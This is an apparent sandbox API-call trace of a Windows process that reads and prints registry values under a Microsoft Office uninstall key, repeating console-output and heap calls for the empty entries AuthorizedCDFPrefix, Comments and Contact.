0x0 [0147.517] __iob_func () returned 0x7fefd702a80 [0147.517] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.517] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x23f800 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-007E-0000-1000-0000000FF1CE}\n") returned 110 [0147.517] _fileno (_File=0x7fefd702ab0) returned 1 [0147.517] _errno () returned 0xc4bb0 [0147.517] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.517] _errno () returned 0xc4bb0 [0147.517] GetFileType (hFile=0x50) returned 0x1 [0147.517] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-007E-0000-1000-0000000FF1CE}\n") returned 110 [0147.517] GetConsoleOutputCP () returned 0x1b5 [0147.517] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-007E-0000-1000-0000000FF1CE}\n", cchWideChar=110, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 110 [0147.517] GetConsoleOutputCP () returned 0x1b5 [0147.517] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-007E-0000-1000-0000000FF1CE}\n", cchWideChar=110, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-007E-0000-1000-0000000FF1CE}\n", lpUsedDefaultChar=0x0) returned 110 [0147.517] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 110 [0147.517] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.517] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{90160000-007E-0000-1000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x23f868 | out: phkResult=0x23f868*=0x5c) returned 0x0 [0147.517] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0*=0x18, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0147.517] GetProcessHeap () returned 0x2e0000 [0147.517] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x28) returned 0x2f5bc0 [0147.517] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="AuthorizedCDFPrefix", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.517] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.517] GetProcessHeap () returned 0x2e0000 [0147.517] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.518] GetProcessHeap () returned 0x2e0000 [0147.518] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.518] GetProcessHeap () returned 0x2e0000 [0147.518] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.518] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.518] __iob_func () returned 0x7fefd702a80 [0147.518] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.518] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.518] _fileno (_File=0x7fefd702ab0) returned 1 [0147.518] _errno () returned 0xc4bb0 [0147.518] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.518] _errno () returned 0xc4bb0 [0147.518] GetFileType (hFile=0x50) returned 0x1 [0147.518] lstrlenW (lpString=" ") returned 4 [0147.518] GetConsoleOutputCP () returned 0x1b5 [0147.518] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.518] GetConsoleOutputCP () returned 0x1b5 [0147.518] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.518] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.518] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.518] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0147.518] __iob_func () returned 0x7fefd702a80 [0147.518] _fileno (_File=0x7fefd702ab0) returned 1 [0147.518] _errno () returned 0xc4bb0 [0147.518] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.518] _errno () returned 0xc4bb0 [0147.518] GetFileType (hFile=0x50) returned 0x1 [0147.519] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0147.519] GetConsoleOutputCP () returned 0x1b5 [0147.519] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0147.519] GetConsoleOutputCP () returned 0x1b5 [0147.519] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AuthorizedCDFPrefix", lpUsedDefaultChar=0x0) returned 19 [0147.519] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 19 [0147.519] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.519] __iob_func () returned 0x7fefd702a80 [0147.519] _fileno (_File=0x7fefd702ab0) returned 1 [0147.519] _errno () returned 0xc4bb0 [0147.519] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.519] _errno () returned 0xc4bb0 [0147.519] GetFileType (hFile=0x50) returned 0x1 [0147.519] lstrlenW (lpString=" ") returned 4 [0147.519] GetConsoleOutputCP () returned 0x1b5 [0147.519] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.519] GetConsoleOutputCP () returned 0x1b5 [0147.519] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.519] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.519] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.520] __iob_func () returned 0x7fefd702a80 [0147.520] _fileno (_File=0x7fefd702ab0) returned 1 [0147.520] _errno () returned 0xc4bb0 [0147.520] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.520] _errno () returned 0xc4bb0 [0147.520] GetFileType (hFile=0x50) returned 0x1 [0147.520] lstrlenW (lpString="REG_SZ") returned 6 [0147.520] GetConsoleOutputCP () returned 0x1b5 [0147.520] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.520] GetConsoleOutputCP () returned 0x1b5 [0147.520] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.520] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.520] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.520] __iob_func () returned 0x7fefd702a80 [0147.520] _fileno (_File=0x7fefd702ab0) returned 1 [0147.520] _errno () returned 0xc4bb0 [0147.520] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.520] _errno () returned 0xc4bb0 [0147.520] GetFileType (hFile=0x50) returned 0x1 [0147.520] lstrlenW (lpString=" ") returned 4 [0147.520] GetConsoleOutputCP () returned 0x1b5 [0147.520] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.521] GetConsoleOutputCP () returned 0x1b5 [0147.521] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.521] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.521] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.521] __iob_func () returned 0x7fefd702a80 [0147.521] _fileno (_File=0x7fefd702ab0) returned 1 [0147.521] _errno () returned 0xc4bb0 [0147.521] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.521] _errno () returned 0xc4bb0 [0147.521] GetFileType (hFile=0x50) returned 0x1 [0147.521] lstrlenW (lpString="") returned 0 [0147.521] __iob_func () returned 0x7fefd702a80 [0147.521] _fileno (_File=0x7fefd702ab0) returned 1 [0147.521] _errno () returned 0xc4bb0 [0147.521] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.521] _errno () returned 0xc4bb0 [0147.521] GetFileType (hFile=0x50) returned 0x1 [0147.521] lstrlenW (lpString="\n") returned 1 [0147.521] GetConsoleOutputCP () returned 0x1b5 [0147.521] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.521] GetConsoleOutputCP () returned 0x1b5 [0147.522] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.522] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.522] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.522] GetProcessHeap () returned 0x2e0000 [0147.522] GetProcessHeap () returned 0x2e0000 [0147.522] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.522] GetProcessHeap () returned 0x2e0000 [0147.522] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.522] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.522] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Comments", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.522] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.522] GetProcessHeap () returned 0x2e0000 [0147.522] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.522] GetProcessHeap () returned 0x2e0000 [0147.522] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.522] GetProcessHeap () returned 0x2e0000 [0147.522] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.522] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.522] __iob_func () returned 0x7fefd702a80 [0147.522] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.522] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.522] _fileno (_File=0x7fefd702ab0) returned 1 [0147.522] _errno () returned 0xc4bb0 [0147.522] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.522] _errno () returned 0xc4bb0 [0147.522] GetFileType (hFile=0x50) returned 0x1 [0147.522] lstrlenW (lpString=" ") returned 4 [0147.522] GetConsoleOutputCP () returned 0x1b5 [0147.523] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.523] GetConsoleOutputCP () returned 0x1b5 [0147.523] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.523] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.523] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.523] lstrlenW (lpString="Comments") returned 8 [0147.523] __iob_func () returned 0x7fefd702a80 [0147.523] _fileno (_File=0x7fefd702ab0) returned 1 [0147.523] _errno () returned 0xc4bb0 [0147.523] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.523] _errno () returned 0xc4bb0 [0147.523] GetFileType (hFile=0x50) returned 0x1 [0147.523] lstrlenW (lpString="Comments") returned 8 [0147.523] GetConsoleOutputCP () returned 0x1b5 [0147.523] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.523] GetConsoleOutputCP () returned 0x1b5 [0147.523] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Comments", lpUsedDefaultChar=0x0) returned 8 [0147.523] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.523] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.524] __iob_func () returned 0x7fefd702a80 [0147.524] _fileno (_File=0x7fefd702ab0) returned 1 [0147.524] _errno () returned 0xc4bb0 [0147.524] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.524] _errno () returned 0xc4bb0 [0147.524] GetFileType (hFile=0x50) returned 0x1 [0147.524] lstrlenW (lpString=" ") returned 4 [0147.524] GetConsoleOutputCP () returned 0x1b5 [0147.524] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.524] GetConsoleOutputCP () returned 0x1b5 [0147.524] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.524] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.524] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.524] __iob_func () returned 0x7fefd702a80 [0147.524] _fileno (_File=0x7fefd702ab0) returned 1 [0147.524] _errno () returned 0xc4bb0 [0147.524] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.524] _errno () returned 0xc4bb0 [0147.524] GetFileType (hFile=0x50) returned 0x1 [0147.524] lstrlenW (lpString="REG_SZ") returned 6 [0147.524] GetConsoleOutputCP () returned 0x1b5 [0147.524] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.524] GetConsoleOutputCP () returned 0x1b5 [0147.525] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.525] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.525] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.525] __iob_func () returned 0x7fefd702a80 [0147.525] _fileno (_File=0x7fefd702ab0) returned 1 [0147.525] _errno () returned 0xc4bb0 [0147.525] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.525] _errno () returned 0xc4bb0 [0147.525] GetFileType (hFile=0x50) returned 0x1 [0147.525] lstrlenW (lpString=" ") returned 4 [0147.525] GetConsoleOutputCP () returned 0x1b5 [0147.525] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.525] GetConsoleOutputCP () returned 0x1b5 [0147.525] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.525] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.525] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.525] __iob_func () returned 0x7fefd702a80 [0147.525] _fileno (_File=0x7fefd702ab0) returned 1 [0147.525] _errno () returned 0xc4bb0 [0147.525] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.525] _errno () returned 0xc4bb0 [0147.525] GetFileType (hFile=0x50) returned 0x1 [0147.525] lstrlenW (lpString="") returned 0 [0147.525] __iob_func () returned 0x7fefd702a80 [0147.526] _fileno (_File=0x7fefd702ab0) returned 1 [0147.526] _errno () returned 0xc4bb0 [0147.526] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.526] _errno () returned 0xc4bb0 [0147.526] GetFileType (hFile=0x50) returned 0x1 [0147.526] lstrlenW (lpString="\n") returned 1 [0147.526] GetConsoleOutputCP () returned 0x1b5 [0147.526] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.526] GetConsoleOutputCP () returned 0x1b5 [0147.526] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.526] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.526] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.526] GetProcessHeap () returned 0x2e0000 [0147.526] GetProcessHeap () returned 0x2e0000 [0147.526] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.526] GetProcessHeap () returned 0x2e0000 [0147.526] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.526] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.526] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Contact", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.526] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.526] GetProcessHeap () returned 0x2e0000 [0147.526] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.526] GetProcessHeap () returned 0x2e0000 [0147.526] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.526] GetProcessHeap () returned 0x2e0000 [0147.526] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.526] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.527] __iob_func () returned 0x7fefd702a80 [0147.527] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.527] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.527] _fileno (_File=0x7fefd702ab0) returned 1 [0147.527] _errno () returned 0xc4bb0 [0147.527] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.527] _errno () returned 0xc4bb0 [0147.527] GetFileType (hFile=0x50) returned 0x1 [0147.527] lstrlenW (lpString=" ") returned 4 [0147.527] GetConsoleOutputCP () returned 0x1b5 [0147.527] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.527] GetConsoleOutputCP () returned 0x1b5 [0147.527] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.527] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.527] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.527] lstrlenW (lpString="Contact") returned 7 [0147.527] __iob_func () returned 0x7fefd702a80 [0147.527] _fileno (_File=0x7fefd702ab0) returned 1 [0147.527] _errno () returned 0xc4bb0 [0147.527] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.527] _errno () returned 0xc4bb0 [0147.527] GetFileType (hFile=0x50) returned 0x1 [0147.527] lstrlenW (lpString="Contact") returned 7 [0147.527] GetConsoleOutputCP () returned 0x1b5 [0147.528] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0147.528] GetConsoleOutputCP () returned 0x1b5 [0147.528] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Contact", lpUsedDefaultChar=0x0) returned 7 [0147.528] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0147.528] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.528] __iob_func () returned 0x7fefd702a80 [0147.528] _fileno (_File=0x7fefd702ab0) returned 1 [0147.528] _errno () returned 0xc4bb0 [0147.528] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.528] _errno () returned 0xc4bb0 [0147.528] GetFileType (hFile=0x50) returned 0x1 [0147.528] lstrlenW (lpString=" ") returned 4 [0147.528] GetConsoleOutputCP () returned 0x1b5 [0147.528] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.528] GetConsoleOutputCP () returned 0x1b5 [0147.528] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.528] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.528] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.528] __iob_func () returned 0x7fefd702a80 